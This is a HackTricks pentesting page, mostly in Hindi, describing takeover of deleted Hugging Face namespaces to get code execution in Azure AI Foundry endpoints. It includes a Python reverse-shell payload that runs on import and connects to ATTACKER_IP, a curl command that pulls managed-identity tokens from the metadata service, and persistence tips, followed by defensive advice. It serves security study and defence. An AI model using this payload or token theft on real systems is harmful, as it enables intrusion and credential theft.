Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

परिदृश्य

  • Azure AI Foundry Model Catalog में एक-क्लिक deployment के लिए कई Hugging Face (HF) models शामिल हैं।
  • HF model identifiers are Author/ModelName. अगर कोई HF author/org हट जाता है, तो कोई भी उस author को फिर से re-register कर सकता है और legacy path पर उसी ModelName के साथ model प्रकाशित कर सकता है।
  • नाम के आधार पर ही खींचने वाले Pipelines और catalogs (बिना commit pinning/integrity के) attacker-controlled repos पर resolve होंगे। जब Azure model को deploy करेगा, तो loader code endpoint environment में execute हो सकता है, जिससे उस endpoint की permissions के साथ RCE मिल सकती है।

Common HF takeover cases:

  • Ownership deletion: पुराना path takeover तक 404 रहता है।
  • Ownership transfer: Old path 307 नए author की तरफ redirect होता है जब पुराना author मौजूद रहता है। अगर बाद में पुराना author हटा दिया जाता है और फिर से re-registered किया जाता है, तो redirect टूट जाता है और attacker की repo legacy path पर serve करती है।

पुन: उपयोग योग्य Namespaces (HF) की पहचान

bash
# Check author/org existence
curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available

# Check model path
curl -I https://huggingface.co/<Author>/<ModelName>
# 307 -> redirect (transfer case), 404 -> deleted until takeover

Azure AI Foundry के खिलाफ एंड-टू-एंड अटैक फ्लो

  1. Model Catalog में उन HF models को ढूंढें जिनके मूल लेखक HF पर deleted या transferred हो गए थे (पुराना लेखक हटाया गया)।
  2. HF पर abandoned author को पुनः रजिस्टर करें और ModelName को फिर से बनाएं।
  3. एक दुर्भावनापूर्ण repo प्रकाशित करें जिसमें loader code हो जो import पर execute हो जाए या जिसके लिए trust_remote_code=True आवश्यक हो।
  4. Azure AI Foundry से legacy Author/ModelName को deploy करें। प्लेटफ़ॉर्म attacker repo को pull करता है; loader Azure endpoint के container/VM के अंदर execute होता है, जिससे endpoint permissions के साथ RCE प्राप्त होता है।

Example payload fragment executed on import (for demonstration only):

python
# __init__.py or a module imported by the model loader
import os, socket, subprocess, threading

def _rs(host, port):
s = socket.socket(); s.connect((host, port))
for fd in (0,1,2):
try:
os.dup2(s.fileno(), fd)
except Exception:
pass
subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images

if os.environ.get("AZUREML_ENDPOINT","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()

नोट्स

  • AI Foundry deployments जो HF के साथ integrate होते हैं, आम तौर पर model के config में referenced repo modules को clone और import करते हैं (उदा., auto_map), जो code execution trigger कर सकते हैं। कुछ paths पर trust_remote_code=True की आवश्यकता होती है।
  • Access सामान्यतः endpoint के managed identity/service principal permissions के अनुरूप होता है। इसे Azure के भीतर data access और lateral movement के लिए एक initial access foothold मानें।

Post-Exploitation Tips (Azure Endpoint)

  • Environment variables और MSI endpoints के लिए tokens को enumerate करें:
bash
# Azure Instance Metadata Service (inside Azure compute)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
  • अधिग्रहित token के साथ माउंट की गई storage, model artifacts, और पहुँच योग्य Azure सेवाओं की जाँच करें।
  • यदि प्लेटफ़ॉर्म HF से पुनः pull करता है तो poisoned model artifacts छोड़कर persistence पर विचार करें।

Azure AI Foundry उपयोगकर्ताओं के लिए रक्षा संबंधी मार्गदर्शन

  • HF से लोड करते समय commit द्वारा models को pin करें:
python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
  • सत्यापित HF मॉडलों को एक भरोसेमंद internal registry में mirror करें और वहाँ से deploy करें।
  • लगातार codebases और defaults/docstrings/notebooks को स्कैन करें ताकि हार्ड-कोडेड Author/ModelName जो deleted/transferred हैं पहचान कर उन्हें अपडेट या pin किया जा सके।
  • परिनियोजन से पहले author के अस्तित्व और मॉडल की provenance सत्यापित करें।

Recognition Heuristics (HTTP)

  • Deleted author: author पेज 404; legacy model path 404 रहता है जब तक takeover नहीं होता।
  • Transferred model: legacy path 307 नए author की ओर जाता है जबकि पुराना author मौजूद है; अगर पुराना author बाद में हटाया गया और फिर से रजिस्टर किया गया, तो legacy path आक्रमणकारी की सामग्री सर्व कर सकता है।
bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"

क्रॉस-संदर्भ

  • व्यापक कार्यप्रणाली और आपूर्ति-श्रृंखला नोट्स देखें:

Pentesting Cloud Methodology

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें